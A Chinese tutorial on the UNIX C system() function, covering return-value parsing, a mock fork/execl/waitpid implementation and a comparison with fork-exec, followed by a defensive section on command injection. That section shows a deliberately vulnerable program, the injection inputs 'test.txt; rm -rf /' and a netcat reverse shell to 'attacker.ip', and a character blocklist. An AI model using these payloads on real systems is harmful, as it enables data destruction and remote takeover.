当前位置： 首页 > news >正文

UNIX下C语言编程与实践31-UNIX 进程执行新程序：system 函数的使用与内部实现机制

news 2025/10/7 5:19:44

从函数调用到底层原理，掌握 UNIX 中简化命令执行的核心接口

一、system 函数的核心认知：什么是 system 函数？

在 UNIX 系统中，system 函数是简化“执行外部 shell 命令”的核心接口，定义在 <stdlib.h> 头文件中。其核心功能是：阻塞当前调用进程，创建子进程执行指定的 shell 命令字符串，待命令执行完成后，返回命令的执行结果。

与直接使用 fork-exec 组合相比，system 函数将“创建子进程、执行 shell、等待结束”的复杂逻辑封装为一个接口，极大简化了代码编写。例如，执行 ls -l 命令，使用 system 仅需一行代码，而 fork-exec 需手动处理进程创建、参数传递和资源回收。

关键特性：system 函数的“一键执行”本质：

  • 阻塞性：system 调用后，父进程会一直等待子进程（执行 shell 命令）结束，期间无法执行其他逻辑；
  • shell 依赖：system 并非直接执行命令，而是先创建子进程运行 shell（如 /bin/sh），再由 shell 解析并执行命令字符串；
  • 返回值复杂：返回值不仅包含命令的退出状态，还包含子进程创建失败、shell 执行失败等信息，需特殊处理。

二、system 函数的基础用法：原型、参数与返回值

system 函数的使用看似简单（仅需传入命令字符串），但其返回值的解读和参数的合法性检查是关键。掌握这些细节，才能正确判断命令是否执行成功。

1. 函数原型与核心参数

#include <stdlib.h>// 功能：执行 shell 命令字符串，阻塞父进程直到命令完成
// 参数：
//   command：待执行的 shell 命令字符串（如 "ls -l"、"/bin/uname -a"）；
//   若 command 为 NULL，函数仅检查 shell 是否可用（返回非 0 表示可用）。
// 返回值：
//   成功：返回子进程（shell）的退出状态（需通过宏解析实际命令的退出码）；
//   失败：返回 -1（如 fork 失败、无法启动 shell）。
int system(const char *command);

参数说明：

  • 命令字符串支持 shell 语法：如管道（"ls -l | grep .c"）、重定向（"echo hello > test.txt"）、后台执行（"sleep 3 &"）等，因为命令最终由 shell 解析执行；
  • 命令路径可省略：若命令在 PATH 环境变量中（如 ls、date），可直接传入命令名；若不在 PATH 中，需指定完整路径（如 "/home/user/my_script.sh"）。

2. 返回值的解读：如何判断命令执行结果？

system 函数的返回值是“子进程（shell）的退出状态”，而非直接返回命令的退出码。需通过 <sys/wait.h> 提供的宏解析，才能获取命令的实际执行结果。常见解析宏如下：

宏定义功能说明使用场景
WIFEXITED(status)判断子进程是否正常退出（如命令执行完成后 exit），返回非 0 表示正常退出区分“正常退出”和“被信号终止”
WEXITSTATUS(status)若 WIFEXITED(status) 为真，返回命令的退出码（0 表示成功，非 0 表示失败）获取命令的实际执行结果（如 ls 成功返回 0，ls /nonexist 返回 2）
WIFSIGNALED(status)判断子进程是否被信号终止（如 Ctrl+C 发送 SIGINT），返回非 0 表示被信号终止处理命令被强制终止的场景
WTERMSIG(status)若 WIFSIGNALED(status) 为真，返回终止子进程的信号码（如 SIGINT 为 2，SIGKILL 为 9）定位命令被终止的原因
实例：解析 system 函数的返回值
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>int main() {// 执行存在的命令（ls -l）printf("=== Executing 'ls -l' ===\n");int status1 = system("ls -l");if (status1 == -1) {perror("system ls -l failed");exit(EXIT_FAILURE);}// 解析返回值if (WIFEXITED(status1)) {printf("ls -l exited normally, exit code: %d\n\n", WEXITSTATUS(status1));} else if (WIFSIGNALED(status1)) {printf("ls -l killed by signal: %d\n\n", WTERMSIG(status1));}// 执行不存在的命令（ls /nonexist）printf("=== Executing 'ls /nonexist' ===\n");int status2 = system("ls /nonexist");if (status2 == -1) {perror("system ls /nonexist failed");exit(EXIT_FAILURE);}// 解析返回值if (WIFEXITED(status2)) {printf("ls /nonexist exited normally, exit code: %d\n", WEXITSTATUS(status2));}return EXIT_SUCCESS;
}

编译和运行

gcc system_return.c -o system_return
./system_return

示例输出

=== Executing 'ls -l' ===
total 16
-rwxr-xr-x 1 bill bill 12345 Sep 30 10:00 system_return
-rw-r--r-- 1 bill bill 2345 Sep 30 09:58 system_return.c
ls -l exited normally, exit code: 0=== Executing 'ls /nonexist' ===
ls: cannot access '/nonexist': No such file or directory
ls /nonexist exited normally, exit code: 2

关键结论：

  • 成功执行的命令（ls -l）退出码为 0，失败的命令（ls /nonexist）退出码为 2（ls 命令的错误码定义）；
  • 即使命令执行失败（如文件不存在），system 仍返回“正常退出”状态（WIFEXITED 为真），仅通过 WEXITSTATUS 才能判断命令实际执行结果；
  • 若 system 返回 -1（如 fork 失败），需通过 perror 打印错误原因（如“Resource temporarily unavailable”）。

三、system 函数的实战应用：执行各类 shell 命令

system 函数支持所有 shell 可解析的命令，包括简单命令、管道、重定向等。通过具体实例，演示其在不同场景下的使用方法，理解其“简化命令执行”的核心价值。

1. 执行简单命令（如 uname、date）

实例：执行 /bin/uname -a 查看系统信息
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>int main() {printf("=== System Information ===\n");// 执行 uname -a 命令，获取系统内核信息int status = system("/bin/uname -a");if (status == -1) {perror("system uname -a failed");exit(EXIT_FAILURE);}// 执行 date 命令，获取当前时间printf("\n=== Current Time ===\n");status = system("date");if (status == -1) {perror("system date failed");exit(EXIT_FAILURE);}return EXIT_SUCCESS;
}


# 1. 编译程序
gcc system_simple.c -o system_simple# 2. 运行程序
./system_simple=== System Information ===
Linux ubuntu 5.15.0-78-generic #85-Ubuntu SMP Fri Jul 14 12:03:40 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux=== Current Time ===
Sat Sep 30 10:15:30 CST 2023

关键说明：

  • 指定完整路径（/bin/uname）可避免依赖 PATH 环境变量，提升命令执行的可靠性；
  • 命令输出会直接打印到标准输出（stdout），无需手动处理输出缓冲区，简化代码。

2. 执行带管道和重定向的命令

实例：执行管道命令（ls -l | grep .c）和重定向命令（echo hello > test.txt）

代码格式化

#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>int main() {// 1. 执行管道命令：列出当前目录下的 .c 文件printf("=== .c Files in Current Directory ===\n");int status = system("ls -l | grep .c");if (status == -1) {perror("system pipe command failed");exit(EXIT_FAILURE);}// 2. 执行重定向命令：将字符串写入 test.txtprintf("\n=== Writing to test.txt ===\n");status = system("echo 'Hello from system function' > test.txt");if (status == -1) {perror("system redirect command failed");exit(EXIT_FAILURE);}// 3. 验证写入结果printf("=== Content of test.txt ===\n");status = system("cat test.txt");if (status == -1) {perror("system cat command failed");exit(EXIT_FAILURE);}// 清理临时文件system("rm test.txt");return EXIT_SUCCESS;
}

编译和运行步骤

# 1. 编译程序
gcc system_pipe_redirect.c -o system_pipe_redirect# 2. 运行程序（当前目录有 test.c 和 demo.c 文件）
./system_pipe_redirect

预期输出

=== .c Files in Current Directory ===
-rw-r--r-- 1 bill bill 2345 Sep 30 09:58 system_return.c
-rw-r--r-- 1 bill bill 1234 Sep 30 10:15 system_pipe_redirect.c=== Writing to test.txt ===
=== Content of test.txt ===
Hello from system function

关键结论：

  • system 函数支持 shell 的所有语法特性（管道、重定向、后台执行等），因为命令最终由 /bin/sh 解析执行；
  • 若需捕获命令的输出（而非直接打印），需结合文件重定向（如 "ls -l > output.txt"），再读取文件内容，system 本身不提供输出捕获功能。

3. 执行自定义脚本

实例：执行自定义 shell 脚本（my_script.sh）

代码整理

// 先创建自定义脚本 my_script.sh
cat > my_script.sh << EOF
#!/bin/bash
echo "=== Custom Script Execution ==="
echo "Script Name: \$0"
echo "Arguments: \$*"
echo "Current Directory: \$(pwd)"
exit 0
EOF// 给脚本添加执行权限
chmod +x my_script.sh


#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>int main() {// 执行自定义脚本，传递参数 "arg1 arg2"printf("=== Executing Custom Script ===\n");int status = system("./my_script.sh arg1 arg2");if (status == -1) {perror("system script execution failed");exit(EXIT_FAILURE);}// 解析脚本退出码if (WIFEXITED(status)) {printf("\nScript exited with code: %d\n", WEXITSTATUS(status));}// 清理脚本（可选）// system("rm my_script.sh");return EXIT_SUCCESS;
}


# 1. 编译程序
gcc system_script.c -o system_script# 2. 运行程序
./system_script

输出结果

=== Executing Custom Script ===
=== Custom Script Execution ===
Script Name: ./my_script.sh
Arguments: arg1 arg2
Current Directory: /home/bill/testScript exited with code: 0

关键说明：

  • 执行自定义脚本需确保脚本有执行权限（chmod +x），且脚本首行有 shebang（#!/bin/bash）指定解释器；
  • 可通过命令字符串向脚本传递参数（如 "./my_script.sh arg1 arg2"），脚本通过 $1、$2 接收参数。

四、system 函数的内部实现机制

system 函数的便捷性源于其对 fork-exec-wait 逻辑的封装。深入理解其内部实现，能更清晰地把握函数的行为边界（如阻塞性、shell 依赖）和潜在风险（如命令注入）。

1. 内部实现流程拆解

system 函数执行流程图解

1. 参数检查阶段：
- 若 command 为 NULL：尝试启动 shell（如 /bin/sh -c "exit 0"），返回非 0 表示 shell 可用，0 表示不可用；
- 若 command 非 NULL：继续后续流程。

2. 子进程创建阶段：
- 调用 fork 创建子进程；
- 若 fork 失败：返回 -1，设置 errno 为对应的错误码（如 EAGAIN 表示资源不足）。

3. 子进程执行阶段（核心）：
- 子进程调用 execl 执行 shell，命令格式为 execl("/bin/sh", "sh", "-c", command, (char *)NULL)；
- 其中 "-c" 是 shell 的参数，表示“从命令字符串执行命令”，command 是用户传入的命令字符串；
- 若 execl 失败：子进程调用 exit(127) 退出（127 是 shell 定义的“命令未找到”错误码）。

4. 父进程等待阶段：
- 父进程调用 waitpid 等待子进程（shell）结束，获取子进程的退出状态；
- 若 waitpid 失败：返回 -1，设置 errno；
- 若 waitpid 成功：返回子进程的退出状态（即 system 函数的返回值）。

2. 模拟实现 system 函数

通过手动编写“简易版 system 函数”，直观理解其内部逻辑：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <errno.h>// 模拟实现 system 函数
int my_system(const char *command) {// 1. 处理 command 为 NULL 的情况：检查 shell 是否可用if (command == NULL) {// 尝试执行 sh -c "exit 0"，成功返回非 0，失败返回 0int status = my_system("exit 0");return (WIFEXITED(status) && WEXITSTATUS(status) == 0) ? 1 : 0;}// 2. fork 创建子进程pid_t pid = fork();if (pid == -1) {return -1; // fork 失败，返回 -1}// 3. 子进程：执行 shell -c commandif (pid == 0) {// execl 执行 /bin/sh，参数为 "sh" "-c" command NULLexecl("/bin/sh", "sh", "-c", command, (char *)NULL);// execl 失败，退出码 127（shell 命令未找到的标准码）exit(127);}// 4. 父进程：等待子进程结束int status;pid_t wait_ret = waitpid(pid, &status, 0);if (wait_ret == -1) {return -1; // waitpid 失败，返回 -1}// 5. 返回子进程的退出状态return status;
}// 测试模拟的 my_system 函数
int main() {printf("=== Testing my_system with 'ls -l' ===\n");int status = my_system("ls -l");if (status == -1) {perror("my_system failed");exit(EXIT_FAILURE);}if (WIFEXITED(status)) {printf("Command exited with code: %d\n", WEXITSTATUS(status));}return EXIT_SUCCESS;
}


# 1. 编译程序
gcc mock_system.c -o mock_system# 2. 运行程序
./mock_system


=== Testing my_system with 'ls -l' ===
total 16
-rwxr-xr-x 1 bill bill 12345 Sep 30 11:00 mock_system
-rw-r--r-- 1 bill bill  3456 Sep 30 10:58 mock_system.c
Command exited with code: 0

关键结论：

  • 模拟实现的 my_system 函数与标准 system 函数行为一致，证明其核心逻辑是“fork + execl(sh -c command) + waitpid”；
  • 子进程执行 execl("/bin/sh", "sh", "-c", command, NULL) 是 system 函数支持 shell 语法的根本原因——所有命令解析由 shell 完成；
  • execl 失败时子进程退出码为 127，这也是标准 system 函数中“命令未找到”时的返回码（如 system("nonexist_cmd") 会返回 127）。

五、system 函数 vs fork-exec 组合：对比与选择

system 函数和 fork-exec 组合是 UNIX 中执行外部程序的两种核心方式，二者在便捷性、灵活性、安全性上存在显著差异，需根据场景选择。

1. 核心差异对比

对比维度system 函数fork-exec 组合适用场景
代码复杂度低：一行代码即可执行命令，无需处理进程创建和等待高：需手动处理 fork、exec、waitpid，代码量多（约 20-30 行）快速原型开发、简单命令执行 → system；
复杂场景、性能敏感 → fork-exec
shell 依赖依赖：命令由 /bin/sh 解析执行，支持 shell 语法（管道、重定向）不依赖：直接执行目标程序，不经过 shell，仅支持程序自身参数需 shell 语法 → system；
避免 shell 开销/风险 → fork-exec
灵活性低：无法自定义子进程属性（如文件描述符、调度优先级），无法捕获命令输出高：可在 fork 后 exec 前修改子进程属性（如关闭无用文件描述符、设置环境变量），可通过管道捕获输出无需自定义 → system；
需精细控制 → fork-exec
性能低：多创建一个 shell 进程（子进程先执行 sh，再由 sh 执行命令），存在额外开销高：直接执行目标程序，仅创建一个子进程，无 shell 中间层开销高频执行、性能敏感 → fork-exec；
低频执行 → system
安全性低：存在命令注入风险（如 command 包含用户输入的特殊字符）高：直接传递参数数组，无命令解析过程，可避免命令注入命令字符串固定 → system；
命令含用户输入 → fork-exec

2. 实例对比：执行 ls -l 命令

方式 1：使用 system 函数
#include <stdio.h>
#include <stdlib.h>int main() {// 一行代码执行 ls -lsystem("ls -l");return EXIT_SUCCESS;
}

方式 2：使用 fork-exec 组合
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>int main() {pid_t pid = fork();if (pid == -1) {perror("fork failed");exit(EXIT_FAILURE);} else if (pid == 0) {// 子进程：执行 ls -lchar *argv[] = {"ls", "-l", (char *)NULL};execvp("ls", argv);// exec 失败处理perror("execvp failed");exit(EXIT_FAILURE);} else {// 父进程：等待子进程结束waitpid(pid, NULL, 0);}return EXIT_SUCCESS;
}

对比结论

system 函数代码量仅为 fork-exec 组合的 1/5，便捷性优势明显。

fork-exec 组合可在子进程中添加额外逻辑（如 close(fd) 关闭无用文件描述符），灵活性更高。

system 函数多创建一个 shell 进程（sh -c "ls -l"），而 fork-exec 直接执行 ls，性能略优。

    六、system 函数的常见错误与安全风险

    system 函数的便捷性也带来了潜在问题，如命令格式错误、返回值误判、命令注入攻击等。掌握这些问题的根源和解决方法，是安全使用 system 函数的关键。

    1. 常见错误与解决方法

    常见错误问题现象原因分析解决方法
    命令字符串格式错误system 返回非 0 退出码，命令未执行（如 system("ls -l | grep .c") 无输出）1. 命令名拼写错误（如 "ls -l" 写成 "ls -L"）；
    2. 命令路径错误（如 "my_script.sh" 不在当前目录，且未指定完整路径）；
    3. 特殊字符未转义（如命令含空格但未用引号包裹，system("echo hello world") 正确，system("echo" "hello world") 错误）    		1. 验证命令拼写：在终端手动执行命令，确认能正常运行；
    2. 指定完整路径：如 "/home/user/my_script.sh" 而非 "my_script.sh"；
    3. 正确处理特殊字符：命令字符串含空格或特殊字符时，确保整体作为一个参数传递（如 system("echo 'hello world'")）
    返回值判断错误误将 system 返回值当作命令退出码（如 if (system("ls -l") == 0) { ... }），导致逻辑错误system 返回值是“shell 子进程的退出状态”，需通过 WIFEXITED 和 WEXITSTATUS 解析，直接判断返回值是否为 0 会忽略“命令执行失败但 shell 正常退出”的情况（如 ls /nonexist 命令退出码为 2，但 system 返回值非 0）1. 严格按照“WIFEXITED → WEXITSTATUS”的流程解析返回值；
    2. 封装返回值解析函数，避免重复代码（如 int get_cmd_exit_code(int status) { return WIFEXITED(status) ? WEXITSTATUS(status) : -1; }）；
    3. 若 system 返回 -1，直接判定为执行失败（如 fork 失败）
    命令执行超时system 阻塞时间过长，导致程序无响应（如执行 system("sleep 100")）system 会一直阻塞直到命令执行完成，若命令执行时间过长（如长时间循环、网络请求超时），会导致调用进程长时间无响应1. 给命令添加超时机制：如 system("timeout 10 sleep 100")（timeout 命令限制命令执行时间）；
    2. 改用非阻塞方式：使用 fork-exec 组合，父进程通过 alarm 注册超时信号，超时后杀死子进程；
    3. 避免执行可能超时的命令：优先选择执行时间可控的命令
    shell 不可用导致执行失败system 返回 -1 或命令未执行，perror 提示“No such file or directory”系统中无 /bin/sh（如嵌入式系统仅安装 busybox，shell 路径为 /bin/busybox sh），或 /bin/sh 无执行权限1. 检查 shell 路径：ls -l /bin/sh，确认 shell 存在且有执行权限；
    2. 手动指定 shell 路径：改用 fork-exec 组合，执行 execl("/bin/busybox", "busybox", "sh", "-c", command, NULL)；
    3. 在嵌入式系统中，确保编译时指定正确的 shell 路径

    2. 安全风险：命令注入攻击

    system 函数最严重的安全风险是命令注入攻击——当命令字符串包含用户输入的内容时，攻击者可通过输入特殊字符（如 ;、&、|）注入恶意命令，获取系统权限或破坏数据。

    命令注入攻击实例

    假设程序接收用户输入的文件名，通过 system 函数查看文件内容：

    #include <stdio.h>
#include <stdlib.h>
#include <string.h>int main() {char filename[100];char command[200];// 接收用户输入的文件名（存在安全风险）printf("Enter filename to view: ");fgets(filename, sizeof(filename), stdin);// 去除 fgets 读取的换行符filename[strcspn(filename, "\n")] = '\0';// 拼接命令字符串（危险！用户输入未过滤）snprintf(command, sizeof(command), "cat %s", filename);printf("Executing command: %s\n", command);// 执行命令system(command);return EXIT_SUCCESS;
}

    攻击过程：

    • 正常输入：用户输入 test.txt，程序执行 cat test.txt，正常查看文件；
    • 恶意输入：用户输入 test.txt; rm -rf /，程序执行 cat test.txt; rm -rf /，; 表示执行多个命令，rm -rf / 会删除系统所有文件，造成灾难性后果；
    • 其他恶意输入：test.txt | grep -v "secret"（过滤关键内容）、test.txt & nc attacker.ip 8080 -e /bin/sh（反向shell）等。

    防御命令注入的方法
    1. 避免使用 system 函数，改用 exec 函数族：

      exec 函数族（如 execvp）直接传递参数数组，不经过 shell 解析，可彻底避免命令注入。例如，查看文件可改为：

      char *argv[] = {"cat", filename, (char *)NULL}; execvp("cat", argv);

      即使 filename 包含 ; rm -rf /，execvp 也会将其当作 cat 的参数（查找名为 "test.txt; rm -rf /" 的文件），而非执行恶意命令。

    2. 严格过滤用户输入：

      若必须使用 system 函数，需对用户输入进行严格过滤，禁止特殊字符（如 ;、&、|、$、` 等）。例如：

      过滤特殊字符的代码示例

      // 过滤特殊字符的函数
int is_safe(const char *str) {for (int i = 0; str[i] != '\0'; i++) {if (strchr(";|&$`<>\\'", str[i]) != NULL) {return 0; // 包含特殊字符，不安全}}return 1; // 安全
}// 使用过滤函数
if (!is_safe(filename)) {fprintf(stderr, "Invalid filename: contains special characters\n");exit(EXIT_FAILURE);
}

    3. 使用绝对路径执行命令：

      执行命令时指定完整路径（如 "/bin/cat" 而非 "cat"），避免攻击者通过修改 PATH 环境变量替换系统命令（如伪造恶意 cat 命令）。

    七、总结：system 函数的使用建议

    system 函数是 UNIX 中简化命令执行的便捷工具，但需在便捷性、灵活性、安全性之间权衡。以下是明确的使用建议：

    system 函数使用决策指南：

    1. 优先使用 system 函数的场景：
      • 快速原型开发或简单脚本，无需精细控制子进程；
      • 命令字符串固定，无用户输入（如 system("ls -l")、system("/bin/uname -a")）；
      • 需使用 shell 语法特性（如管道、重定向），且命令执行频率低。
    2. 优先使用 fork-exec 组合的场景：
      • 命令包含用户输入（需避免命令注入）；
      • 需自定义子进程属性（如关闭无用文件描述符、设置环境变量）；
      • 高频执行命令（如每秒多次），需优化性能；
      • 需捕获命令输出（通过管道实现）或非阻塞执行命令。
    3. 安全使用 system 函数的最佳实践：
      • 命令字符串固定化：避免将用户输入直接拼接到命令字符串中；
      • 严格解析返回值：通过 WIFEXITED 和 WEXITSTATUS 判断命令执行结果，不直接使用 system 返回值；
      • 禁止执行高危命令：避免使用 system 执行 rm、mv、sh 等可能破坏系统的命令；
      • 必要时改用 exec 函数族：若存在命令注入风险，优先选择 exec 函数族，彻底规避安全问题。

    system 函数是“便捷性优先”的选择，适合简单、固定的命令执行场景；而 fork-exec 组合是“灵活性与安全性优先”的选择，适合复杂、敏感的场景。理解二者的差异，根据实际需求选择合适的方式，才能编写高效、健壮的 UNIX 程序。

     UNIX 系统中 system 函数的使用方法、内部实现机制、与 fork-exec 组合的对比，以及常见错误和安全风险。system 函数通过封装 fork-exec-wait 逻辑，大幅简化了命令执行的代码编写，但也带来了 shell 依赖和安全风险。

    在实际开发中，需根据场景权衡便捷性与安全性：简单场景用 system 提升效率，复杂或敏感场景用 fork-exec 或 exec 函数族确保安全。掌握 system 函数的核心原理和使用边界，是编写高质量 UNIX 程序的基础。

    http://www.dtcms.com/a/449188.html

    相关文章：

  • 【Java核心技术/多线程】35道Java多线程面试题与答案
  • 【AI智能体】Coze 打造AI数字人视频生成智能体实战详解
  • 网站开发外键邯郸网站开发定制
  • FreeRTOS任务同步与通信--事件标志组
  • Excel基础知识 - 导图笔记
  • Flink 执行模式在 STREAMING 与 BATCH 之间做出正确选择
  • 杭州网站制作平台公司医院网站建设存在问题
  • Python中*args与**kwargs用法解析
  • 【大模型】多智能体架构详解：Context 数据流与工作流编排的艺术
  • 描述逻辑（Description Logic）对自然语言处理深层语义分析的影响与启示
  • python爬虫(三) ---- 分页抓取数据
  • 探索大语言模型（LLM）：大模型微调方式全解析
  • 【学习笔记03】C++STL标准模板库核心技术详解
  • 做网站有什么关于财务的问题网络设计工作
  • P9751 [CSP-J 2023] 旅游巴士
  • 宠物用品网站开发背景网站推广设计
  • MySql复习及面试题学习
  • .NET周刊【9月第2期 2025-09-14】
  • 秦皇岛企业网站建设wordpress 悬浮音乐
  • 日语学习-日语知识点小记-进阶-JLPT-N1阶段应用练习（6）：语法 ＋考え方１9+2022年7月N1
  • 【Linux指南】gdb进阶技巧：断点高级玩法与变量跟踪实战
  • 跨平台游戏引擎 Axmol-2.9.0 发布
  • 金融 - neo4j、Graph Data Science 安装
  • c 可以做网站吗梧州seo排名
  • LuaC API知识点汇总
  • mysql学习--DCL
  • 开源 C++ QT QML 开发（七）自定义控件--仪表盘
  • 论坛开源网站源码网站建设实验总结报告
  • Ansible实战：VMware下K8s自动化部署指南
  • Ansible（三）—— 使用Ansible自动化部署LNMP环境实战指南